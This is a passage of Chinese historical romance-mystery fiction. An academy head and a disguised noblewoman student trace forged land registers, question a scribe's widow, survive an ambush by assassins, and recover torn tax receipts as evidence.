江鹤如释重负抬起头来,一改愁容,信誓旦旦地说:“景宣十五年,鱼鳞图的副册也被篡改了。”
“这个我知道。”
“那先生昨晚在那块地砖下找到真册了吗?”江鹤关切地问。
苏玉打量了她一秒,随后开口:“没有。”
“那里面确实是真册,但没有见山书院的。”
江鹤说:“那这案子背后的人,来头肯定不小,不然他们绝不敢毁册私藏。”
其实江鹤和苏玉都清楚,那背后的人是谁。
江鹤继续说:“既然找不到真册,那就只能从假册入手调查了。”
苏玉点了下头,他低垂眼,手里的茶盖一下一下地碰着杯沿。
他像是在犹豫什么。
片刻后,他把盖子往杯口上一搭,发出一声清脆的瓷响。
“我查了州志,十年前阮州府衙发生了一场大火,很多卷册都被烧毁了,应该就是那个时候被改的。”
他用手指敲击着桌案:“而布政使司的,就不得而知是什么时候改的了。”
江鹤身体向前一倾:“既然比对这条路径走不通,那现在当务之急就是找到府衙当时记录的书吏,先生可知道是谁?”
“知道。”
“那我可以一起去吗?”
苏玉对上她的目光,像在审视。
江鹤意识到自己好像越界得有些明显了,收起了前倾的身体,又往后靠了靠。
她有些心虚地说:“至少我可以帮你打架嘛。”
苏玉没有回答,面部微微抽动了一下。
昨晚的场景又浮现在江鹤眼前,她忽然感觉两人之间的气压又低了几度。
而在这时候,门突然被敲响,一个人影在门外。
“山长,您在里面吗?”
“官府有人来找。”
江鹤蹭的一下站起来,她担心昨晚的事留下了什么痕迹。
苏玉没有说话,而是观察着江鹤的反应。
“没事,他们没有证据,就算发现什么也不会怎样的。”
说罢苏玉起身往门外走去。
江鹤看着他的背影,张了张嘴,但没说出口。
苏玉停步在门槛外,回过头。
“明日未时三刻,我在南门外栖霞山脚下等你。”
江鹤破颜一笑,缓缓坐下来,片刻后她似是突然想到什么,快步离开了。
她去见了一个人。
栖霞山位于见山书院南侧,植被茂盛,与书院中间隔了一条小溪。
次日未时,江鹤穿了一身粉紫袄裙,脚步轻快地出了南门,过了桥很快便看到一辆马车停在茶摊前面。
那茶摊很简易,是用几根竹竿撑起了张蓝布棚子,桌上除了茶之外还有各式时令水果。老板是个老头,见有人来就眯着眼笑:“客官歇歇脚?茶还是豆汤?”
江鹤跑过去要了盏蜜饯金橙子泡茶,苏玉隔着车窗淡淡扫了她一眼,示意她上去。
车厢比她想象的要小,两个人坐进去,膝盖几乎要碰在一起。
不是?他很缺钱吗?
江鹤偏过头瞄了一下苏玉,看见他换了一身窄袖束腰的青灰罩甲,十分利落。
两人并排坐着,一语不发。
江鹤觉得自己很奇怪,明明来书院的目的,是要把苏玉骗回去配合她成婚。
一个无官身的书院山长而已,相比于京中那些王公贵胄,根本不算什么。
当初只是觉得他好玩。如今她一个天之骄女,面对苏玉时却十分无措。
她觉得不公平,凭什么苏玉可以这么从容。
“你今天话怎么这么少。”
江鹤回过神时,发现苏玉正瞧着她。
“什么?”江鹤以为自己听错了,“我平时话很多吗?”
“我看你平日里跟你那些师兄师姐们喋喋不休的,还以为你是个爱热闹的。”苏玉神情温和地看着她,眼神中没有昨日的敌意。
爱热闹吗?其实江鹤不是的,只是在书院里苏玉视线所及的地方,她喜欢说话。
“我不爱说话。”江鹤偏头看向另一侧。
苏玉看她赌气似的转过头去,轻笑了一声。
“先生笑什么?”江鹤扭过头盯着苏玉,觉得他莫名其妙。
“没什么,你不想说话,就听我说吧。”
他目视着前方道:“周若夫曾是阮州州府衙门的书吏,十年前那场大火后,不知什么原因辞官归家。”
“然后呢?”江鹤看他谈起了正事,就没再计较。
“之后这十年他就一直在做小本生意,就在前几天,突然暴毙身亡,仵作说是急病,留下了一对妻儿。”
江鹤心中冷哼了一下。
“死了?”
“嗯,”苏玉朝江鹤的方向瞥了一眼,“可蹊跷的是,他的妻子没有像寻常人那样悲痛,反而迅速改嫁了相邻应县的杀猪匠,儿子下落不明。”
“下落不明。”江鹤在心中玩味着这四个字。
“那咱们今天是去找他那个改嫁的妻子?”江鹤有模有样地问。
“嗯,我们必须赶在那些人前找到她。”苏玉看向她,冷不丁冒出来一句无关的话,“你的武功是跟谁学的?”
“什么?”江鹤没想到苏玉转换话题一点预兆没有。
“你不想说也没关系,我只是好奇。”苏玉貌似给她留了余地。
江鹤垂着眼,手搓着衣角:“我家里是做镖局生意的,我小时候身体不好,我娘就给我找了个师父,教了几年就走了,此后不知去向。”
“你师父是?”
江鹤咬了咬嘴唇,犹豫了一下:“师父有仇家,怕连累我,所以不许我提他的名号。”
“这样啊,”苏玉看着她的小动作,声音很轻,“我看过你的入学资料,你是在朔州长大的,为什么要千里迢迢来阮州读书,朔州不也有书院吗?”
江鹤心里咯噔一下,他调查过她。
“慕名而来。”她心虚之下随便瞎扯了个理由。
“慕谁的名?”苏玉微眯双眸。
江鹤忽然想到了一个答案,一个能让苏玉不再追问的答案。
她攥了攥手心,像是下定了什么决心
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,扭头对上苏玉压迫性的目光。
“你的。”
四目相对。江鹤迎着他的目光直视回去,这一次,她不会再输了。
开什么玩笑,这场游戏她才是掌控者。
马车里安静的只剩车轮压过土路的碌碌声响。
苏玉怔了一下,随即偏过了头。
江鹤马上找补道:“嗯...是我娘,我娘觉得见山书院的名气最大,跟着您有前途,就送我来了。”
苏玉侧头望向窗外,马车已驶离了书院那片清幽之地,正往城中繁华处去,街上行人也渐渐多了起来,很吵。
“原来如此。”
苏玉应了一声,没再问了。
江鹤顺着他的视线看过去,偶有路边的酒旗茶幌在风中招摇,没什么好看的。
江鹤追问:“先生,我们要去哪?”
“应县。”
他回答得干脆。
这一路上,两人都没怎么再说话,江鹤没一会儿头就一点一点地往下栽,最后靠在车窗框上睡着了。
不知道为什么,来了见山书院后,她变得很嗜睡。
苏玉看了她一眼,伸手把撩起的窗帘放下,遮住了刺眼的阳光。
光线暗下来后,她的眉头慢慢舒展开了。
从阮州到应县,需要两天车程。
当天晚上,他们找了一家客栈落脚,他们到的时候,天已经黑透了。
客栈门前的灯笼被风吹得歪歪斜斜,门板上有新刷的漆,在烛光下发亮。
掌柜接过他们的路引,核对之后点了点头,从柜台下取出一本厚厚的簿子让他们登记。
手印按完,掌柜将两把钥匙放在柜台上。
“客官,你们的钥匙,最近城里不太平,夜里门窗可得锁好了。”
苏玉应了一声,拿过一把钥匙转身就走了。
"先生。"
江鹤叫住了他。
“又怎么了?”
江鹤问:“先生,你饿吗?”
从下午到现在,她们一路都没吃东西。
江鹤瞅了瞅旁边那桌,一个妇人和一个孩子正安静地吃饭,约莫是掌柜的妻儿,那孩子大概四五岁的光景,正抓着一只鸡腿,啃得正香。
江鹤抿着唇:“可是我没有银子...”
苏玉回想起江鹤开学第一天要花五千两索买裴义的场景,还有那挽月楼,一顿饭够寻常百姓半年用度。
她没钱?江鹤现在直接明着耍赖。
苏玉重新折返回来,在柜台上放了一锭银子。
“她想吃什么,给她做吧。”
掌柜接过那锭银子,喜笑颜开:“得嘞!姑娘稍坐,一会儿就得。”
苏玉没再看她,抬步要走。
“诶——”江鹤身子往前一探,“先生,您不吃吗?”
苏玉没转身,直接对店家说:“我还有事,麻烦掌柜帮我送到房间吧。”
"好嘞!"
真会麻烦人。
江鹤忍了口气,径直走到食案前坐下。
那是她回来后吃的最饱的一顿,气饱的。
吃完饭,江鹤溜到苏玉的房间门口,确认他已经休息后才回到自己的房间。
月光从窗户纸透进来,在地面上画出一块惨白的方格,远处的狗叫了一声,又停了。
窗门大开,江鹤在那里站了好一会儿,在一阵翅膀扑棱声后,黑隼稳稳地落在了她的肩上。
之后她换了身衣服,从窗户溜出了客栈。
9. 应县(二)
到天快亮的时候,她才悄无声息地回来。
那一夜,客栈风平浪静。
早上她没睡几个时辰,几声鸡叫后没多久就被敲门声吵醒。
“江鹤,你醒了吗?我们该走了。”苏玉的声音隔着门板传进来,闷闷的。
“醒了...我醒了先生,"江鹤翻了个身,眼睛都没睁,“马上就来....”
“我只等你半刻钟。”
“好,好...”她含混地应着,不知听进去了没有。
江鹤上了马车后,直接在头上蒙了一块粗布毯,靠着马车睡了一路。
她那毯子是她从客栈顺的。不,是买的,她在房间桌上放了钱。
苏玉看到她鞋上的泥点,而昨夜客栈附近并没有下雨。
但他没多问什么。
找到周若夫的妻子霍娘,是在杀猪摊上。
此时太阳已经快要落山,两人见到霍娘的时候,她正在收拾案板,满手油污。
“今天肉卖完了,明天再来吧。”霍娘低着头,手中的活没停。
苏玉开口道:“你就是周若夫的发妻,霍氏吧。”
霍娘听到后,身形明显僵了一下,手向剔骨刀伸去。
“小心!”
江鹤看到她手上的小动作,立刻明白她要干什么。
“我不认识你说的人!”霍娘借这个当口撒腿就跑。
那把剔骨刀从她手里飞出来,迎面向苏玉掷过来,顷刻间被他躲过去,随后刀在空中翻了个身,刀尖朝下,扎进苏玉脚边的泥地里时,刀柄还在嗡嗡地震。
江鹤快速追上霍娘,将她压制着半跪在地上。
“你跑什么!上来就扔刀,懂不懂礼貌啊!?”江鹤向后反折她的胳膊。
“你们认错人了,我不认识什么霍娘子。”她喘着粗气,嗓音洪亮。
江鹤拉起她,把她推回杀猪摊,用手压制着。
苏玉和江鹤对视了一眼,示意她放开。
“我们不是来取你性命的,只是想问你几个问题。”苏玉从袖中拿出一块令牌向她展示。
“见山书院?”霍娘的声音有些抖,“你们书院的人找我干什么?”
苏玉收回令牌:“周若夫改过的那批鱼鳞图册,涉及到见山书院的学田。我来,是问清楚当年的事。”
“我不知道——”霍娘还在硬撑。
“你知道。”苏玉打断她,“周若夫在府衙当了十二年书吏,管的就是田册。那场大火之后,他手里经手的田册被改了一批。你作为他的妻子,不可能不知道。”
霍娘说:“他在衙门里做什么,他不说,我怎么会知道。”
“啧。”江鹤在后面瞪了一眼霍娘,又想上前。
苏玉用眼神示意她退回去。
他接着问:“你改嫁的这户人家,聘礼是五十两银子。一个杀猪匠出五十两娶一个刚死了丈夫的女人,在应县,这不算常见。”
“你丈夫死了十几天,你连头七都没过就嫁到了这里。你儿子不在身边。你为什么要跑?你在怕什么?”
霍娘的肩膀在抖,但还是没开口。
“我不是官府的人,也不想管你改嫁不改嫁。我只想知道一件事,十年前那场火之前,周若夫见过谁、改过什么册子。”
霍娘的嘴唇哆嗦着:“你们怎么找到我的?”
“你应该庆幸今天找到你的是我们,明天来找你的人,我就不清楚还会不会给你开口的机会。但你很清楚,他们不会放过你,更不会放过你儿子。”
苏玉说完之后,场面陷入了沉默,霍娘低着头,就是不说话。
江鹤被苏玉制止后一直靠在旁边的柱子上,没出声。
这时候她突然开口道:“你不会以为自己把儿子藏得很安全吧?”
霍娘听到提起她儿子,眼神突然狠戾,死死地盯着江鹤。
“你什么意思?”
“你儿子早就被你拼命遮掩的人带走了,你不会不知道吧。”
江鹤双手抱胸,走到她眼前。
“你在胡说什么?!”霍娘伸手就要去抓江鹤。
江鹤躲开了她,从袖子里拿出一个长命锁。
“你别激动,你看这是什么?”
苏玉看到她手中的长命锁,眼神中透着疑惑与惊讶。
“你儿子叫周小虎,今年刚满十二岁。我没说错吧?”
霍娘抢长命锁的时候,江鹤迅速收起来。
“你把他怎么样了?!”霍娘扑向前抓住江鹤的衣领。
江鹤甩开了她,不耐烦地说:“我没把他怎么样,你应该谢谢我救了他。”
霍娘闻言情绪慢慢稳定了下来。
江鹤重重喘了口气,整理了一下自己的衣领,把长命锁放在案板上:“现在可以说了吧?”
霍娘迅速拿起来细细查看,随即分别看了两人一眼说:“你们跟我来。”
大概半里地脚程,霍娘带她们来到自己家,屋内陈设规整,不像是寻常杀猪户的居所。
霍娘给两人盛水,江鹤把递来的第一碗推给了苏玉,苏玉瞧了她一眼。
“两位贵人,我儿子他现在在哪?”霍娘有些急切地问。
江鹤将碗里的水一饮而尽,喘了口气:“你放心,他现在很安全,只要你配合我们,你们会很快见面的。”
“哦。那你们想知道什么?”霍娘双手相握。
苏玉和江鹤对视了一下,开口道:“你不必紧张,我们想知道的是十年前阮州府衙那场大火后,到底发生了什么,让周若夫自请辞官。你刚刚在怕什么?”
“十年前那场大火不是意外,是知府放的。”
"什么?"
江鹤诧异道:“你是说裴义吗?”
“嗯。我丈夫胆子小,每每回家都会跟我说一些衙门里的事。”
霍娘提到周若夫的时候,神情变得温和:“当时衙门里来了一些人,那些人衣着不凡,时常出入府衙,裴知府对他们毕恭毕敬。
“突然有一天晚上,知府给了我丈夫一个单子,说把单子上面的土地档案集中到一个库房里。当天晚上,府衙就走水了。”
江鹤问:“周若夫有没有提起过,那些人穿的什么衣服?”
“只提过说那衣裳的料子不是寻常人家能穿的,倒像是宫里的人。”霍娘如是说。
“宫里的人?”苏玉冷笑了一声。
江鹤下意识地捏紧袖口,忐忑地瞄了他一眼。
“然后呢?”苏玉开口问。
“后来,裴知府向外宣称府衙意外走水,衙门要关门修缮。自此之后,我丈夫他一个月都没回家,回来的时候,感觉他整个人都垮了,他进了家门第一句话就是要辞官。”
“一个月?那他有没有说做了什么?”江鹤问。
霍娘低着头沉默着。
江鹤说:“你不用担心,我们会保证你和你儿子的安全。”
霍娘抬起头,眼神炙热,那是对生的渴望:“真的吗?”
“只要你说实话。”苏玉道。
“好,我说实话。
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”
霍娘像捉住了救命稻草般,将往事道来:“那年正值黄册大造之年,那一个月里,裴知府逼着周若夫改了一大批鱼鳞图册和黄册,其中应该就有见山书院的学田。”
苏玉松了一口气。
他和江鹤对视了一眼,然后说:“我们需要你跟我们回去做个人证。”
“嗯。”霍娘点了点头。
离开霍娘家的时候,天已经黑了,他们没有多留,准备连夜赶回阮州。
在马车上,两人变成面对面坐着。
此时车刚好碾过一块石头,车身颠了一下,但谁都没有动。
苏玉盯着江鹤:“没有什么要说的吗,镖局的人查案比书院还快?”
“啊哈哈……我比较擅长这个。”江鹤干笑两声,避开了对面紧追的目光。
苏玉静静看着她,他一时竟不知道该从哪里开始问她,索性不问了。
这次他们回去,文隽也应该已经回来了。
江鹤垂着眼,手指无意识地摩挲着袖口。
在启程来应县之前,她就收到消息,周小虎被人掳到了山里去了。
昨晚她找到周小虎时,那孩子正在山洞的铁笼里生啃老鼠。
她没忍心把这些告诉霍娘。
昨晚江鹤其实不怎么饿,是她看到客栈的那个小孩时,想到周小虎此时应该在饿肚子。
她在北境知道那是什么滋味,所以去救周小虎的时候,她把那些饭菜带了过去。
昨晚她将周小虎救了出来,已经藏在安全的地方。
她现在担心的是,就算他们铁证如山,又能如何?
裴义身后站着赵仪宾。赵仪宾身后,可能是魏王。
路边的树影一帧一帧地掠过车窗,马车里的光线一会儿明一会儿暗。
江鹤悄悄看了一眼苏玉,他正靠着马车闭目养神,侧脸被月光勾出一道清冷的轮廓。
如果裴义的靠山真的是魏王,那她就不得不在苏玉面前暴露身份。
可她和苏玉的关系,还没走到可以交心的那一步。她还没查清楚苏家的事。她还没有把握,他会不会接受自己。
苏玉感受到她的目光,突然转过头来对上了她。
“在想什么?”
江鹤移开眼:“没什么。”
觉得你好看,江鹤心想。
苏玉好像已经习惯了她对问题的回避,又转回去闭上了眼睛。
马车渐渐慢了下来,外面安静得出奇,连虫鸣都没有了。
这时候,马车外突然传来一阵骚乱,马匹受惊嘶鸣。
什么情况?已经有人发现她们带走了霍娘吗?
江鹤和苏玉对视了一眼,两人先后跳出马车,比肩而立。
只见二十几个黑衣人正将他们团团围住,刀刃在月光下泛着冷光。
“找死。”
黑衣人蜂拥而上,江鹤抽出利刃,箭步而出,刀锋划过最先冲上来那人喉颈,一招毙命。
惨叫声未落,她旋身劈向另一个,刀刀精准。苏玉在她身侧,剑法干净利落,两人一左一右,十分默契。
刀锋相撞的声音在林子里炸开,惊起一片乌鸦,扑棱棱地从头顶飞过,遮住了月光。
苏玉余光扫见几个黑衣人,正摸向霍娘的马车,其中一个已经搭上了马车的门框。
剑在手中转了个方向,他脚步一错,抽身去拦。
就在苏玉背朝江鹤的那一瞬,暗处的一个黑衣人举起刀,直直朝他后背砍去。
江鹤没来得及喊。
10. 应县(三)
她旋身撞开苏玉,右臂横挡,刀刃切入皮肉,温热的血瞬间浸透衣袖。
江鹤闷哼一声,反手一刀划过偷袭者的喉咙。
那人瞪着眼睛倒下,她已转身砍向下一人。
不到一炷香的功夫,十几个黑衣人倒在地上,余下几个相视一眼,转身消失在夜色中。
苏玉收剑回头,目光落在江鹤右臂上。江鹤垂着手,血顺着指尖往下淌。
“你受伤了。”
“皮外伤,不碍事。”
江鹤余光瞄了一眼刀口,不算很深,血倒是流得挺快,把袖子染红了一片。她眼珠子一转,心里迅速盘算出一个鬼点子。
苏玉没说话,伸手去拉她衣袖。
江鹤下意识缩了一下,被他按住。他掀开裂口看了一眼,眉头微皱。
“这叫不碍事?”
江鹤没吭声。
苏玉撕下自己衣摆的一角替她包扎,动作很轻。
霍娘从后面的马车探出头,声音发颤:“两位贵人,你们没事吧?”
“没事。”江鹤应声道。
苏玉对江鹤说:“一会儿先找个客栈歇一晚,明天我们再赶路。”
“不用,我没事,赶路要紧。”江鹤抓住苏玉替她包扎的手臂。
“听话。”苏玉覆手反握住她。
江鹤的心颤了一下,然后嗯了一声。
车夫已经跑了,苏玉将两人安置同一辆马车里,在黑夜里策马而行。
大约走了半个时辰,他们在一家客栈门前停下。
苏玉掀开帘子,朝江鹤伸出手。
江鹤握住他的手跳了下来,落地时右臂被震得一疼,闷哼出声。
“安分些走。”苏玉蹙眉。
客栈不大,灯火昏暗。掌柜的被叫起来,揉着眼睛给他们开了房。
苏玉把霍娘安顿好后,转身见江鹤正往自己那间走。
“等等。”
苏玉走到她身边,低头看了一眼她的伤口。
“已经洇透了,我再帮你重新包扎一下。”
没等她回应,苏玉拉着她的另一只胳膊进了房间。
房间里只点了一盏油灯,火苗被窗缝里漏进来的风吹得东倒西歪,墙上的影子也跟着晃。
苏玉扶她在床沿坐下,半蹲在她面前,解开已经洇透了的布条。
血污之下,她的小臂上还有一道很长的旧疤,伤口早已长出了新生的皮肉。
苏玉呼吸轻顿,睫毛微微颤动,抬眼看她。
江鹤知道他在看什么,北境五年,这样的疤在她身上不计其数,很丑。
两人之间不知何时生出一种默契,一个不说,一个也不再问。
苏玉低下头,拿湿手巾一点一点擦去血痕。
江鹤垂眼看着他,烛光映在他的侧脸上显得十分柔和,他眉峰微蹙,专注而认真。
他大概觉得她伤得很重。
“疼吗?”他忽然开口,没抬头。
“疼~”江鹤毫不掩饰那些痛感。
“知道疼还挡。”苏玉的语气中带着些无奈。
“我不想你受伤,伤口就算长好也会很丑的。”
江鹤在烛光中静静凝望着他。
苏玉手上的动作滞了一下。
江鹤看着他低垂的眉眼,手指微微动了动,想去抬起他的下巴,让他看着自己。
但她没有。
“我知道你能打,但你也不用次次都冲在最前面。”
苏玉的声音有些哑,不过这次他微微抬起了头。
“乖一点不好吗?”
江鹤这次瞧清楚了,他眼中那汪泉水在波动,透露的是师长的担忧。
“好。”
江鹤笑了一下,带着些勉强。
江鹤不知道从何时开始,自己也渐渐分不清,她什么时候是真心,什么时候是假意了。
重新包扎好后,苏玉站起身,把多余的纱布放在桌上。
“睡吧,夜里别压着伤口。”
安顿好她后,苏玉转身离开。
江鹤朝他甜甜一笑:“晚安。”
他没有回应,关上了门。
苏玉走后,江鹤收起了笑容。
她看着映在门扉上的影子,发了一会儿呆。
马车到达阮州的时候经过闹市,江鹤掀开窗帘瞧了一眼。
街上卖什么的都有,糖炒栗子的甜味混着药铺的苦,从帘子缝里钻进来。
“先生,我还有点事,要不您先回去吧。”
苏玉探究地看了她一眼:“嗯?”
“走的时候序竹说让我帮她带盒胭脂,我想先去集市上转一下,可以吗?”江鹤瞎扯了理由。
“去吧,天黑前回去。”苏玉由她去了。
“好。”
苏玉看她跳下了车,轻快地往摊子上走去。
“我们走吧。”苏玉对车夫说。
看马车走后,江鹤转身去了一家酒楼。
进门后左弯右绕,江鹤终于走到了洛惊鸿的雅间,雅间里熏着沉水香,和酒气混在一起,味道有些奇怪。
窗户半开着,外面的街市声隐隐约约传进来,和丝竹声混在一起。
看到洛惊鸿时,她正气定神闲的观舞饮酒。
“我说江大小姐,你这酒楼的布局是不是该改改了,绕的我头晕。”江鹤甩着腰间的带子说。
“沧溟!”洛惊鸿冲过来抱住江鹤,“有没有想我?”
“想你想你。”江鹤任她抱着,不小心被压到了胳膊,“啧,你轻点。”
洛惊鸿松开江鹤,这才注意到她右臂上的绷带。
“怎么回事?又受伤了。”洛惊鸿拉起她的胳膊查看。
“没事,替他挡了一刀,小伤而已。”江鹤撇开了洛惊鸿。
“哇哦——”洛惊鸿有些急切地把她拉到座位上,巴巴地眨着眼。
“怎么样,睡了吗?”
江鹤白了她一眼:“我说你给我弄的身份到底靠不靠谱,他已经把我怀疑得彻头彻尾了。”
“他怀疑你不是很正常吗,就是得要他好奇,让他猜。猜着猜着,就陷进去了。”洛惊鸿颇有心得地说。
“哼哼,但愿吧,”江鹤低着头,衣角在手里打着旋儿,“惊鸿,我有点后悔了。”
洛惊鸿微眯双眸,探头在她眼前晃:“你不会...真爱上了吧?”
“没有。”江鹤推开洛惊鸿。
“已经过了半个月了,你要是后悔了,我现在把容因送到你府上去?”洛惊鸿手撑着椅子。
“好了,说正事。我让你办的事怎么样了?”江鹤又变回游刃有余的样子。
“正事...”洛惊鸿砸砸嘴,“你最好搞清楚什么是正事。你的正事是把他带回去交差,不是替他挡
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刀。”
江鹤伸手捶向她。
“好了,快说!查的怎么样了?”
此时舞姬已经退了出去,丝竹声也停了。
洛惊鸿收了一脸讪笑,正了正色道:“这件事,确实是魏王的手笔。”
江鹤冷哼一声。
洛惊鸿继续说道:“此事牵涉众多,不是一时半会儿能够解决的,现如今最好的办法,是先把见山书院摘出去,其他的如果你要管,我们再从长计议。”
“嗯,我明白,关键是我现在还不能暴露身份,只有先转移魏王的注意力。”
江鹤手指敲着桌案,不过片刻,指尖落定。
书院这边,文隽已经在门口等着。
苏玉让人安顿好霍娘后,和文隽一起进了书院。
“走之前让你查的事情怎么样了?”苏玉问。
“查到了,跟您猜的差不多,很蹊跷。”文隽悄声道。
“回去细说。”
江鹤没在洛惊鸿那里久呆,交代完事情后就回了见山书院。
她很喜欢这个地方,只有在这里,她才能彻底放松下来。
江鹤回到棠梨轩的时候,序竹正在写些什么。
“江鹤!”序竹看到她,眼睛亮晶晶的拉着江鹤,“文隽师兄说你告了假,你没事吧?”
“我没事,家里叫我回去一趟而已,”江鹤把手里的东西递到序竹眼前,“路过的月桂坊的时候看见有卖这个,给你带的,喜欢吗?”
“哇!”序竹接过胭脂,拽着江鹤的衣袖左右摇摆,“你真好,回家还想着给我带礼物。”
江鹤笑了笑,转而看到桌案上堆的一摞书。
“那是什么鬼东西?”
序竹顺着她指的方向看去,抿了抿嘴:“陈先生说,你走这些天落下的,都要补回来。”
江鹤无话可说了,早知道她来之前应该雇一个书童过来,如今后悔也晚了。
她无奈地叹了口气,坐下来喝了口水。
“对了序竹,我回来的时候看到西苑那边的灯都还亮着,是发生了什么事吗?”
序竹不以为意地说:“听说是山长在查什么东西,好多师兄都在帮忙。”
“查东西?”
江鹤在想,什么东西这么着急非得晚上查。
“诶,江鹤你才刚回来,这么晚了又要去哪?”
“你先睡吧——”江鹤的声音顺着风传回来。
西苑是见山书院的库房所在,江鹤走到的时候,看到里面灯火通明,几十个人影来回走动。
江鹤推门走了进去,正对上苏玉瞧向门口的视线。
文隽看到她进来,神情有些紧张:“鹤师妹,这么晚了,你怎么来了?”
“哦,我,我睡不着,看大家都在忙,就想看看能不能帮上什么。”
“这样啊。”文隽若有所思地点点头。
江鹤打着马虎眼环顾四周,故作随意地问:“大家在查什么呀?”
“没什么,就是山长要我们找一下十年前书院赋税的串票,顺便整理一下账册。”
江鹤不解地问:“那不应该很容易找到吗?”
“谁说不是呢,但是三年前梅雨季,书院库房漏了水,一排的账册都烂成了纸浆。我们当时也没在意,毕竟都是十年前的旧物了。”
“江鹤,”汪景宜突然跑了过来,“山长叫你。”
11. 忘尘观(一)
江鹤向苏玉的方向看去,发现苏玉坐在主案上,手里正拿着一沓册子抬头看着她。
走到他身边的时候,苏玉先看了一眼她的胳膊。
“山...”江鹤刚想行礼。
“回去睡觉。”
苏玉语气不重,却不容拒绝。
“哦。”
江鹤吃了憋,扭头往回走,刚迈出去没两步,突然又转过身。
“又怎么了?”
江鹤微微歪着头:“山长,我在家管过账,串票我看得快,让我试试呗?”
苏玉凝视着她,没答应,也没拒绝。
“那好吧。”江鹤撇撇嘴,看懂了他的意思,转身往外走,但脚步很慢。
“别装了。”苏玉有些无语地叫住她。
“好嘞。”
江鹤带着雀跃转过身。
“库房最里面有一堆要销毁的旧档,你师兄们顾不上,你去理一遍,把有用的登记造册,没用的回头统一销掉。”苏玉用眼神示意了那个角落。
“学生明白。”江鹤乖巧地说。
江鹤很清楚苏玉在做什么,如今霍娘人证在手,若能找到物证,学田案便是铁证如山。
苏玉说的那堆旧档,在库房的最里面,用破旧的麻袋装着,上面早已盖上了一层厚厚的灰尘。
“咳咳咳,”江鹤拂去上面的灰尘,被呛了一脸。
“净让我干这些没意义的事,都要销毁了,里面还能有什么东西,我怎么感觉他在玩我。”
江鹤解开麻袋,将东西全倒了出来,自己索性直接坐在了地上,收垃圾似的一本一本翻。
时间一点一点过去,外面偶尔传来其他人的脚步声和低语。
江鹤想起来小时候有次逃命,自己也躲在一个很隐蔽的地方,屏气凝神地听着外面搜查的声音,倒和现在有点相似。
她还算耐心,把眼前的这些垃圾翻了个底朝天,依旧什么有用的都没有。
他就是在耍我!江鹤更加坚定了刚开始的想法。
“已经三更天,大家回去睡觉吧。”她在里面隐约听到文隽的声音。
江鹤坐起身,腿已经麻了,缓了好一会儿才能动弹。
出来的时候,只剩下三四个人还没走,江鹤正撞上文隽来寻她。
一见到江鹤,文隽就掩面笑得停不下来。
“噗,鹤师妹,你怎么搞成这个样子。”
只见江鹤全身灰尘仆仆,脸上黑一块白一块的,像是刚从土里刨出来的。
苏玉闻声而来,看到江鹤的模样时,偏过头用力忍着笑。
“先生别忍了,想笑就笑吧。”
江鹤瘪瘪嘴,没理他们,朝外面走去。
文隽也没再笑了,转而递给苏玉一张褶皱的票据。
“对了先生,我刚刚找到了一份十年前,也就是景宣十五年的串票。”
苏玉接过串票:“怎么皱成这个样子?”
“这大概是以前管账房的老先生裁的,他喜欢拿这些旧票据当书签使。”
“你说什么?”
江鹤走到门口正准备离开,突然顿住了脚步,猛地转身。
文隽不解地说:“我说管账房的老先生喜欢裁....”
没等他说完,江鹤径直冲回了库房深处,不多时捧着一堆奇形怪状的废纸摊在桌子上。
“你说的是这个吗?”
文隽和苏玉对视了一眼:“你,你在哪找到这些的?”
“就那堆垃圾堆里,”江鹤灰头土脸地指着库房深处,突然意识到自己把心里话说出来了。
“不是,我是说......那堆要销毁的旧档里,我看好几本账册里面都夹着这个东西,我以为是什么废纸片,就随手扔一边了。”
“打开看看。”苏玉示意文隽。
文隽将那些纸片一张张展开,纸片大小不一,边缘毛糙,有的只剩半个字,有的是一串不完整的数字。
文隽的手指微微发抖,把两块边缘吻合的纸片拼在一起——上面露出了“景宣九年”几个字。
他手指一顿,抬头看向苏玉。
苏玉没说话,只点了点头。
文隽越拼越快,那些被裁成书签的纸片,在他手里一块一块归位。
几个人同时屏气,库房里静得出奇。
文隽把碎片轻轻推到一起,神情抑不住的激动。
“景宣九年,珍字贰佰叁号。”
“业主,见山书院。”
和江鹤在府衙库房里看到的那本被改过的鱼鳞图册,年份、编号、业主,一模一样。只差土地的位置对不上。
“天哪,这也太巧了。”
文隽下意识地想去抱江鹤,手僵在半空中,意识到不合适后又放下了。
“鹤师妹,你真的神了!”
苏玉的目光在文隽的手上停了一瞬。
江鹤擦了擦脸上的灰:“找到就好。”
苏玉说:"文隽,你去看一下旧档里还有没有这样的串票,统一归档。"
“好!”
文隽走后,苏玉向江鹤走近了一步。
江鹤现在就像他的那只猫一样,出去玩疯了浑身脏兮兮回来的样子。
苏玉抬手轻轻捏了捏她的脸颊肉,他的手指微凉,笑意温柔。
“做得好。”
库房烛影摇晃,两人之间只剩不到半步,她们的影子在墙上汇成一人。
江鹤的心乱了一下,她头一次知道,原来一个人的眼睛真的可以用春风化水四个字形容。
这一刻,她真的很想抱他,像布政使司那晚一样。
她忍住了。
江鹤在那一刻终于承认,她动心了。
她突然觉得很难过。
游戏的法则变了,她不知道该怎么玩下去了。
她不认为苏玉能给她足够的爱。
她更不认为,苏玉知道自己的真实身份后,她还能留在书院。
江鹤错开眼神,往后退了一步。
两人之间重新拉开了一臂的距离,影子在墙上分成了两个。
“先生,时候不早了,我先走了。”
没等苏玉的回答,她转身走了,脚步比平时快。
苏玉像是被什么牵引着,不自觉地往前迈了半步。
他不知道为什么,江鹤看起来像突然变了一个人似的,冷静而疏离。
她其实自带一种冷艳的气质,只是被一贯的大大咧咧的行径遮盖住了。
江鹤快走到门口时,突然想到什么。
她转过身问:“先生接下来打算怎么办?揭发裴义,还是私下了结?”
苏玉说:“公之于众。”
“先生不怕有人保他吗?”
苏玉摇了摇头:“此事已铁证如山,裴义在阮州作恶多年,是该有个了断了。我过几日会去京城拜访张远中,如果有他帮忙,或许好办。”
张远中是大盛当今首辅,曾受过苏相浔的提拔。
江鹤说:“先生再等等好吗?或许再过几日,就不用去求他了。”
“为什么?”
苏玉其实想问的是,你是谁?
文隽
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此去朔州确认了她的身份,根本不是什么镖局之女那么简单。
他没有告诉江鹤的是,他去京城还要做一件事,就是查她的身份。
江鹤往前走了一步:“先生信我一次,好吗?”
“再等几天,书院不会有什么损失的。”
苏玉也往前迈了一步:“你没有什么要和我说的吗?”
库房的烛火闪了闪,将两个人的影子映在身后的架子上,对峙而立。
江鹤其实可以编一个像样的理由,解释她所有的反常。
可她不想骗他,也懒得编。
“没有。”
随后江鹤微微一笑:“先生早点休息,晚安。”
这次江鹤没有再等他的回答,转身推开了门。
